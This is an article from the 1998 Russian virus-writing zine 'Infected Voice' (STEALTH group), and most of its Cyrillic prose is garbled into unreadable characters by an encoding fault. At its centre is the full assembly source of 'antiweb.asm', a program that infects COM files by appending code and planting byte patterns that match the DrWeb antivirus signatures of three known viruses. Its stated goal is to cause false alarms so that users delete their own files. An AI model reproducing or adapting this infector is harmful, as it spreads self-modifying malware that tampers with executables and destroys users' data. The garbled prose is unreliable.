 INFECTED VOICE  OnLine                (C)1994-98, by STEALTH group
 h/p/v/a zine [Russian]                http://sourceofkaos.com/stealth
                                       http://www.redline.ru/~one
 1998 Online Issue #0                  mailto: noxyucT@usa.net
-----------------------------------------------------------------------


       쭮-⠪    祭,    pp  DR.WEB  p쭮
⥪p  p  p⨢  p   ᫥⥫쭮 p쭮 
p   䠩.   ⥭쪮   ᫥  ⮣  뫥祭   䠩  뢠
pᯮᮡ묨.        ,      pp  騥
p᪨  祬    ⫨騥  ,    .  , 
p  ⥫  筮, 稫 ᮢ뢠   䠩 
騥 pᠬ,  ⭮  騥,  p쭮  騥.
⢥,  p᪮ p  "ᥫ 蠫"   
  p稭  ᢮ p  砩.   㤠 pp
     ᤥ   p  "" p... H 
ᥬ  p浪...
       砫    ⠫ ᪮쪮 ᨣp  p  p 
 pᮬ p 䠩.
       ᨣp  p  ⥪p p NoHope.275:

00000000: 9C 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ...............
00000010: 00 00 00 00-00 00 00 00-00 00 00 00-F4 7D 5E B4  ............}^
00000020: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ................
00000030: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ................
00000040: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ................
00000050: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ................
00000060: 00 00 B8 00-00 00 00 00-00 00 00 00-00 00 00 00  ...............
00000070: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00  ................
00000080: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 C8 7F  ..............
00000090: 42 33 00                                         B3.

     p    p   p p p⠢ ᮡ  
᪠,    p      ᬥ饭ﬨ 0h,1Eh,1Fh,62h,90h,91h ᮡ⢥ 
 ᨣp (  p쭮 p  p NoHope.275),  
 ᬥ饭ﬨ 1Ch,1Dh,8Eh,8Fh   ᥩ  p묨 㬬.
p祬 ᫨   p p,   F4h,7Dh  p쭮
㬬  ⪠ p 00h-1Fh,   C8h,7Fh -  ⠢襩 . 
  稭  pᮢ뢠 堭 ⥪p 䨪権 㦥 
  pᮢ:    ᢥp p p  ᨣp p, ᫨
䨪  ⮫쪮  ⥫쭠   ᨣp ᮢ,    
㯠  p  㬬...     ᫨     p
ᨣp,      p㣭    䨪. ⢥  ᪠
p  ᥩ  ⮫쪮  p pᮢ.
     H  ⠪,  ᫮...  p樯,   ᥡ p⠢ ᨣp 
᮫⭮  pp.  H    p᭮  ,    ᫨  
ᨣp  -襭    ᯮ 䠩,   ⥫쭮 
ᯥ筮  p㦨   ⮬ 䠩 p, p p  ᨣp
  祭  ᥫ  䠩 뫥. 筮 p ᥫ p: ⨬
᫨  ᨣp    p  NoHope    EXE-䠩(p NoHope p
⮫쪮  COM),    p㦨   p,  p 祭 ᪠ "
"    p    䠩  㤠.      뢠
  ᨣp  ⢥ "p⢮ " (  ,  p 
    p)    䠩,    p   䠩, 
ᥩ        ᨣp, ⠪  p  "p室" 
.  p  p  p   ᨣp p 䠩 p 筮
᪥   pp㦠 ⥬(ᥬp ᨣp  ᬮp 
      稫,        ᠬ),      ᯥ譮  ⥪p
騩  p    稫  䠩.      p訫 p
⨢᪨  p.   pp 뢠  ᪠.  ⮣
⮡  ᬮp    p⠥,  3 COM 䠩(ENUNS'  7- 
   )       pp        pp,  ⮬
᪠  p  䠩.  H,  ?  !  ⮬ pp 
pp  ,  ⮬     :) H ᪠  pp  
pᨩ 4.00,4.01,4.02  32 ⭮ pᨥ,  p室 p:). 
⮫쪮  p⨢,      p稫 묨 pﬨ. 
⠪,                      ⪫祭  樥
"p᪨ ".

============antiweb.asm================

;  pp   pᮬ  pאַ ᫥ ⮣ ᫮.
;  p  ⥪饩 pp COM-䠩 , ᮤp騬 ᨣp 3-
; p pᮢ: Platov.1700,BGU.1251,NoHope.275. p祬 ᠭ
;    祣 p pp, p⠥     , 
; p p p pp. ᫨  p⠥   ,
;   p p  ᨣp,   ⠢  .

;  ᠭ p ⠪   exe-䠩,   ᫥,
;  pp ᪠ start_aweb - end_aweb, ⠪ p p  
;  㦥 祣  室,  祬  易  pp p
; p ,  ⠪  p⠥:)

;
;  pp p祭 ᪫⥫쭮  p樨 .
;                                          (c)  ᪨ 1998


.model tiny
.code
.386
org   100h

start:
        db      0E9h
        dw      0002
        dw      'AJ'

        mov     ah,4eh
        mov     cx,00100011b
        mov     dx,offset maska
        int     21h
        jc      quit
        jmp     Infect

Find_Next:

        mov     ah,4fh
        int     21h
        jnc     Infect

quit:
        mov     ah,09h
        mov     dx,offset message
        int     21h

        int     20h

Infect:

        mov     ax,3d02h
        mov     dx,09eh
        int     21h

        xchg    ax,bx

        mov     ah,3fh
        mov     cx,5
        mov     dx,offset Old
        int     21h

        cmp     2 ptr [old],'MZ'
        jne     second
        jmp     Find_Next

second:

        cmp     2 ptr [old],'ZM'
        je      Find_Next

        mov     si,9eh

find_zero:

        lodsb
        cmp     al,0
        jne     find_zero

        sub     si,4

        cmp     2 ptr [si],'OC'
        jne      Find_Next

        cmp     1 ptr [si+2],'M'
        jne     Find_Next

        cmp     2 ptr [old+3], 'AJ'
        je      Find_Next

        cmp     2 ptr ds:[9ah], 63000
        jae     Find_Next

        mov     ax,4202h
        xor     dx,dx
        xor     cx,cx
        int     21h

        sub     ax,3
        mov     [CodJmp],ax

        cmp     1 ptr [Count],2            ; 蠥   3- ᨣp
        je      sig2                       ; 㤥 뢠.

        cmp     1 ptr [Count],3
        je      sig3

        mov     si,offset platov
        mov     cx,bgu-platov
        jmp     make_sig

sig2:
        mov     si,offset bgu
        mov     cx,nohope-bgu
        jmp     make_sig

sig3:
        mov     si,offset nohope
        mov     cx, message-nohope

make_sig:

        push    cx si
        add     cx,0002               ;塞 p p室 
        mov     [sig_jmp],cx          ; p p
                                      ;p pp.

; p Buffer pp㥬 , p  㤥 p.

        mov     di,offset buffer

        cld
        mov     si,offset start_aweb
        mov     cx,end_aweb-start_aweb
        rep     movsb

        pop     si cx
        rep     movsb

        mov     si,offset end_aweb
        mov     cx,platov-end_aweb
        rep     movsb

; p 䠩

        mov     ax,4000h
        xchg    di,cx
        sub     cx,offset start_aweb
        mov     dx,offset buffer
        int     21h

        mov     ax,4200h
        xor     cx,cx
        xor     dx,dx
        int     21h

        mov     ah,40h
        mov     cx,05
        mov     dx,offset JmpAddr
        int     21h

        mov     ah,3eh
        int     21h

        mov     al,1 ptr [Count]
        inc     al
        mov     1 ptr [Count],al

        jmp     Find_Next

;  ⨬ ᪮ 稭  start_aweb  end_aweb
;  p p, 筮 ᫥ ⠢   ᨣp p.

start_aweb:

        call    $+3
        pop     bp
        sub     bp,0003
        pushad
        push    ds
        push    es

anti_web_trick:
; H, , ⮢p,   - ᥪp⭠ ,  
; p᪨ p p⨢    p! p 
;  祬  ⠪ ᬥ  㬨 p ⨢᪨
; p  p騥  䨤 p㯯?:)  p 
; p ⠩...   㬥 p쭮 p PSP p 樨.
;   ᬥ饭 16h     PSP p p PSP p p.
; pp 饭  ⮬ DOS'   pp.  
; p p쭮 믮 pp 0  p   . 
; ?:)

        cmp     2 ptr ds:[16h],0
        db      0Fh,85h           ; jne
Sig_jmp dw      ?
        jmp     anti_web_trick

;   ⠢ ᨣp p

end_aweb:

        call    $+3
        pop     si
        sub     si,0003
        mov     di,100h           ;   塞 ᬥ饭  砫
        sub     si,bp             ; p 䠩,  p OLD,
        add     bp,old-end_aweb   ;    p p 
        add     si,bp             ; p 䠩.

        movsb
        movsw
        movsw
        pop     es
        pop     ds
        popad
        mov     di,100h
        push    di
        mov     di,0
        ret

Old     db      5 dup (?)

;                p ᮡ⢥:)

Platov  db      8 dup (0)
        db      8Eh
        db      0Ch dup (0)
        db      0C5h,2Eh,0AEh
        db      15Ah dup (0)
        db      0CDh
        db      2Bh dup(0)
        db      27h,2Ch,78h,0FEh,0

Bgu     db      0E8h
        db      1Bh dup (0)
        db      34h,0Fh,0CDh,0ABh
        db      1DEh dup (0)
        db      9Ch
        db      2Bh dup (0)
        db      0C3h,1Fh,5,0B9h,0

NoHope  db      9Ch
        db      1Bh dup(0)
        db      0F4h,7Dh,5Eh,0B4h
        db      42h dup(0)
        db      0B8h
        db      2Bh dup(0)
        db      0C8h,7Fh,42h,33h,0

Message db      'OK',0ah,0dh,'$'
maska   db      '*.COM',0
Count   db      1
JmpAddr db      0E9h
CodJmp  dw      ?
        db      'JA'
buffer  db      1000 dup(?)
end     start

============antiweb.asm================

     H, ? ?   pp p뢠 p砩訥:).
        p     p㬭 p樨. p p
p      ᨣp  䠩  㤥  p   p, 
⠢  짮⥫    嫮,    ⮨  ⮫쪮    pp 
   魥襩   pp   DR.WEB,     䠩  㯠   
p  p:)      "ᯠ⥫ 祫⢠" ᠬ 뢠
pp!       p.   짮⥫ p p 
pp  DR.WEB,    ⮦  .  ,   ,   ,
   pᮬ    p⨢    p⨢  "⮢p饩  
p졥":)
     H,  , 墠 p, ⥯p p     p 
p  p.    p  ⨫   ᨣp p業⭮  95-97%
    㫥,      p⨢묨  騪   ᦨ p
䠭᪨.     ⠪,  p  ᪠騩    ᥡ  15-20  
ᨣp,   pp  4 䠩 p騩  ᮡ,    ᨣp.
:  ⠢  p  ,  㢥 ᨣp    p
     ᢮ . H,   p.  砫 
㣠 p, ⢨ 楫 ⮫ pᮢ.:)
     p     pp  ,  p ᬮp 
  p    p.  ᫨     ⮣  墠⠥ ,  ⮢p
Z0mbie  㦥  p    ,    㡫   2000 ᨣp  ᢮
p RVM#2, p  .
     ,    孮  ᫥  让 p   
p   AVP.

                                                 ᪨//DRuG






